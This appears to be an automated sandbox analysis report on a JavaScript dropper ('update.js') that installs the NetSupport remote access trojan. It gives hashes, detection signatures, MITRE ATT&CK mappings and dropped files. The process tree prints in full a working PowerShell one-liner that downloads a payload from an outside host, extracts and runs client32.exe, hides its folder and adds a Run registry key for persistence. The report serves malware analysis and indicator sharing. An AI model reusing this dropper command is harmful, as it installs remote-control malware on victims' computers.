netsupport | 7a153e840b1e15b0ca6f9c99072fb34efc759c6f96e24b1c01d8cfc1b5cf9e78

Analysis

max time kernel
87s
max time network
125s
platform
windows11-21h2_x64
resource
win11-20231222-en
resource tags

arch:x64arch:x86image:win11-20231222-enlocale:en-usos:windows11-21h2-x64system
submitted
29/01/2024, 18:18

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General

Target

update.js
Size

114KB
MD5

1e5517d4390ea9cf0a97bc08a88ce8f9
SHA1

75ab46b29fb2a43710cee16f6947dc31763921ca
SHA256

7a153e840b1e15b0ca6f9c99072fb34efc759c6f96e24b1c01d8cfc1b5cf9e78
SHA512

354d548f71853a127d993285b97420e7c89cef1526535d9d0bb058a798b4accd9c0d98fe13b4bfb45452beb1c8a7b8254723ebe2ad50fe18dceeab61bf28036f
SSDEEP

1536:AlarcxElarcxElarcxRlarcx4QNlarcxElarcxElarcx8larcxElarcxElarcxu:ADxEDxEDxRDxxDxEDxEDx8DxEDxEDxu

Score

10^/10

netsupport persistence rat

Malware Config

Extracted

Language

ps1

Source

URLs

ps1.dropper

https://ghostcitygames.com/data.php?8788

exe.dropper

https://ghostcitygames.com/data.php?8788

Signatures

NetSupport
NetSupport is a remote access tool sold as a legitimate system administration software.
rat netsupport

Blocklisted process makes network request 1 IoCs

flow	pid	Process
3	2484	powershell.exe

Executes dropped EXE 1 IoCs

pid	Process
3104	client32.exe

Loads dropped DLL 6 IoCs

pid	Process
3104	client32.exe
3104	client32.exe
3104	client32.exe
3104	client32.exe
3104	client32.exe
3104	client32.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1184116928-951304463-2249875399-1000\Software\Microsoft\Windows\CurrentVersion\Run\OFFICE = "C:\\Users\\Admin\\AppData\\Roaming\\DIVX305\\client32.exe"	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2484	powershell.exe
2484	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2484	powershell.exe
Token: SeSecurityPrivilege	3104	client32.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
3104	client32.exe

Suspicious use of WriteProcessMemory 5 IoCs

description	pid	Process	procid_target
PID 1252 wrote to memory of 2484	1252	wscript.exe	79
PID 1252 wrote to memory of 2484	1252	wscript.exe	79
PID 2484 wrote to memory of 3104	2484	powershell.exe	81
PID 2484 wrote to memory of 3104	2484	powershell.exe	81
PID 2484 wrote to memory of 3104	2484	powershell.exe	81

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\update.js
1⤵
- Suspicious use of WriteProcessMemory
PID:1252
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Ex Bypass -NoP -C $ZPGikOnkUuHvqwFnjEsZUbNjyHqeW='https://ghostcitygames.com/data.php?8788';$SoBseWjQCbXsIdUcIgcz=(New-Object System.Net.WebClient).DownloadString($ZPGikOnkUuHvqwFnjEsZUbNjyHqeW);$bJaQgoixMmUUWVGctFLemiVGAtKDe=[System.Convert]::FromBase64String($SoBseWjQCbXsIdUcIgcz);$zxc = Get-Random -Minimum -1000 -Maximum 1000; $WLUWUqgepgVRefnUu=[System.Environment]::GetFolderPath('ApplicationData')+'\DIVX'+$zxc;if (!(Test-Path $WLUWUqgepgVRefnUu -PathType Container)) { New-Item -Path $WLUWUqgepgVRefnUu -ItemType Directory };$p=Join-Path $WLUWUqgepgVRefnUu 'lol.zip';[System.IO.File]::WriteAllBytes($p,$bJaQgoixMmUUWVGctFLemiVGAtKDe);try { Add-Type -A System.IO.Compression.FileSystem; [System.IO.Compression.ZipFile]::ExtractToDirectory($p,$WLUWUqgepgVRefnUu)} catch { Write-Host 'Failed: ' + $_; exit};$e=Join-Path $WLUWUqgepgVRefnUu 'client32.exe';if (Test-Path $e -PathType Leaf) { Start-Process -FilePath $e} else { Write-Host 'No exe.'};$FSDFSSD=Get-Item $WLUWUqgepgVRefnUu -Force; $FSDFSSD.attributes='Hidden';$s=$WLUWUqgepgVRefnUu+'\client32.exe';$k='HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run';$v='OFFICE';$t='String';New-ItemProperty -Path $k -Name $v -Value $s -PropertyType $t;
  2⤵
  - Blocklisted process makes network request
  - Adds Run key to start application
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2484
- - C:\Users\Admin\AppData\Roaming\DIVX305\client32.exe
    "C:\Users\Admin\AppData\Roaming\DIVX305\client32.exe"
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of FindShellTrayWindow
    PID:3104

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_h1a4i4qz.knj.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\DIVX305\HTCTL32.DLL

Filesize
57KB

MD5
beed0effa708459efcdc16c3be47390e

SHA1
870feb986517081962bbd489d4e2dc32f14c557f

SHA256
e392330e008ffd3951ad9c1b552d6b94201a829aa04463257de277828777b909

SHA512
46d8251f81436af8493dd4e1a24f660b31c8deef0265606f3b482973078148713f280ee346775cafa7af0db68cff49106fe9ee8e8668a013255d7d7778116523

Download Submit
C:\Users\Admin\AppData\Roaming\DIVX305\HTCTL32.DLL

Filesize
1KB

MD5
b09cf553d6779f7525ce8d22899150da

SHA1
798a8100ce14bb1bb06f3ed98647e750325e801b

SHA256
66b709303d1193bf851fc9f17274e75fb6220c5ca4998b054d43f9888b3d7e0a

SHA512
b741e5a497c584bc1ce3054d659ca522f6d3bdf17183e0abd8e82f2c9ad5659da918182955fdf6abe88f8a56aa70bf80a97ab0cf59eaf0f206c84b77cf8ec722

Download Submit
C:\Users\Admin\AppData\Roaming\DIVX305\MSVCR100.dll

Filesize
96KB

MD5
482ad6e3fb5c2406e6741bce37567694

SHA1
f0174a44f97df0c2557806cd021ea493bb018d43

SHA256
ed94fb4c194aa86a2b5f2324066bd5e67bc8cc80ceff478d201c095008b0db92

SHA512
8d61457a9a519d57ef30739a499c546c99097b1f1f650f8268904be0ea976fbad835c49d4b435385bfe621b0d7930d060332a652083c0924a2d4a00b2043fb77

Download Submit
C:\Users\Admin\AppData\Roaming\DIVX305\NSM.LIC

Filesize
258B

MD5
1b41e64c60ca9dfadeb063cd822ab089

SHA1
abfcd51bb120a7eae5bbd9a99624e4abe0c9139d

SHA256
f4e2f28169e0c88b2551b6f1d63f8ba513feb15beacc43a82f626b93d673f56d

SHA512
c97e0eabea62302a4cfef974ac309f3498505dd055ba74133ee2462e215b3ebc5c647e11bcbac1246b9f750b5d09240ca08a6b617a7007f2fa955f6b6dd7fee4

Download Submit
C:\Users\Admin\AppData\Roaming\DIVX305\PCICHEK.DLL

Filesize
18KB

MD5
104b30fef04433a2d2fd1d5f99f179fe

SHA1
ecb08e224a2f2772d1e53675bedc4b2c50485a41

SHA256
956b9fa960f913cce3137089c601f3c64cc24c54614b02bba62abb9610a985dd

SHA512
5efcaa8c58813c3a0a6026cd7f3b34ad4fb043fd2d458db2e914429be2b819f1ac74e2d35e4439601cf0cb50fcdcafdcf868da328eaaeec15b0a4a6b8b2c218f

Download Submit
C:\Users\Admin\AppData\Roaming\DIVX305\PCICL32.DLL

Filesize
1.6MB

MD5
84dbd0d8bba5e67457cf452244680240

SHA1
63537ac8ad7990073240ef70286234981f4ca5de

SHA256
1a2ca2418fcbf806e7d6fb633f26b25da7cf78282aa6dca47509f5c5f3291b21

SHA512
87022336432d4bff68cfaa5c8c26e3c9c650c54de758a1524fd7e07cc8a3ee11947d3678d02455f1c5a2313304e7c51e1a2464ae402e04f7cf7ab9723289bd97

Download Submit
C:\Users\Admin\AppData\Roaming\DIVX305\PCICL32.dll

Filesize
1.7MB

MD5
01dd9d9365139f35504056e66c043350

SHA1
18478d2921569de321f7c91adecd704f193a76ee

SHA256
5a68ccee63eacfd5ecaafdc23a2344fd17766dd016ef21aa118c10fa7f6129b2

SHA512
1654eb2207c85160c55913a7f87a22bf0f64984ea41209715d3e74dfc81439e05737a944090d307ee8c50d7b60c5aa963be7020ada2e9f403210064f30ea18ce

Download Submit
C:\Users\Admin\AppData\Roaming\DIVX305\client32.exe

Filesize
101KB

MD5
c4f1b50e3111d29774f7525039ff7086

SHA1
57539c95cba0986ec8df0fcdea433e7c71b724c6

SHA256
18df68d1581c11130c139fa52abb74dfd098a9af698a250645d6a4a65efcbf2d

SHA512
005db65cedaaccc85525fb3cdab090054bb0bb9cc8c37f8210ec060f490c64945a682b5dd5d00a68ac2b8c58894b6e7d938acaa1130c1cc5667e206d38b942c5

Download Submit
C:\Users\Admin\AppData\Roaming\DIVX305\client32.exe

Filesize
59KB

MD5
ab6a1685b0ff61ff9f8f2edc381fbe26

SHA1
08b821ddfabe4492878ba88abf0dfa17fab3ff37

SHA256
1eae38545767a8cbf46bb1a0839ac73cdfbf69e3617a7aa8f1a0a115dc9e78bf

SHA512
6b358948a8c1d97b49be7dcf24d32c32cddff4da95315cf3b127742073ae8a26e782edacce38004e38edf5f042c65d02e8453219d1007549da43ef2f9a120a00

Download Submit
C:\Users\Admin\AppData\Roaming\DIVX305\client32.ini

Filesize
701B

MD5
98043670d8c850e878e333312fcfa25a

SHA1
dc795e8b906d70ee5854a6797e0c1557375bc443

SHA256
0e7679bf30f5278850e4ff560975cce34d125e04463290ca8c0bf7065da3eecc

SHA512
13295bcf155a8dbc0afaa44dd746801e8087a3f3436c43b2879dbd1f7895faed122f06235814be887d6e305bf181135fc07b6beebf3ea30435282050ac88f201

Download Submit
C:\Users\Admin\AppData\Roaming\DIVX305\msvcr100.dll

Filesize
20KB

MD5
17387c018ef8e5cb9fab06dea3fd0f9c

SHA1
511d34c03f8c744645b0039f9a44aea2a4d8d060

SHA256
a3f6d28f0efa3633bc29089b08bba9369282689ca579ff93c696513618fbc5de

SHA512
70354f5bd14797cf5f74f85f1e4ea496057e976c6360b6f67e46c26ab76db40b101cc1aa8393c186a5e38b22d9faee0752318f8b74975b5294f766fdc3ac5c04

Download Submit
C:\Users\Admin\AppData\Roaming\DIVX305\msvcr100.dll

Filesize
18KB

MD5
acca01de0b24216d4823efeaf388748b

SHA1
33430b2a05e52cd813463716d515929d107c856f

SHA256
186db44e9736e772df6f1b5e1678ed86634bbf1e66a7b54c439cde1d1525a9db

SHA512
48a218ec6b9d65082dd71c49593c2e10d1ec6a3a4cf903e4f94cec1c0f54e5b3092658e85b7895105b6d367da6062c6c3c4e72c54076ef9826fce2f9d82432ad

Download Submit
C:\Users\Admin\AppData\Roaming\DIVX305\pcicapi.dll

Filesize
32KB

MD5
34dfb87e4200d852d1fb45dc48f93cfc

SHA1
35b4e73fb7c8d4c3fefb90b7e7dc19f3e653c641

SHA256
2d6c6200508c0797e6542b195c999f3485c4ef76551aa3c65016587788ba1703

SHA512
f5bb4e700322cbaa5069244812a9b6ce6899ce15b4fd6384a3e8be421e409e4526b2f67fe210394cd47c4685861faf760eff9af77209100b82b2e0655581c9b2

Download Submit
memory/2484-82-0x00007FFDC0830000-0x00007FFDC12F2000-memory.dmp

Filesize
10.8MB

Download
memory/2484-15-0x000001E6CC7D0000-0x000001E6CC7E2000-memory.dmp

Filesize
72KB

Download
memory/2484-14-0x000001E6CC7A0000-0x000001E6CC7AA000-memory.dmp

Filesize
40KB

Download
memory/2484-11-0x000001E6B43C0000-0x000001E6B43D0000-memory.dmp

Filesize
64KB

Download
memory/2484-12-0x000001E6B43C0000-0x000001E6B43D0000-memory.dmp

Filesize
64KB

Download
memory/2484-10-0x000001E6B43C0000-0x000001E6B43D0000-memory.dmp

Filesize
64KB

Download
memory/2484-9-0x00007FFDC0830000-0x00007FFDC12F2000-memory.dmp

Filesize
10.8MB

Download
memory/2484-8-0x000001E6CC720000-0x000001E6CC742000-memory.dmp

Filesize
136KB

Download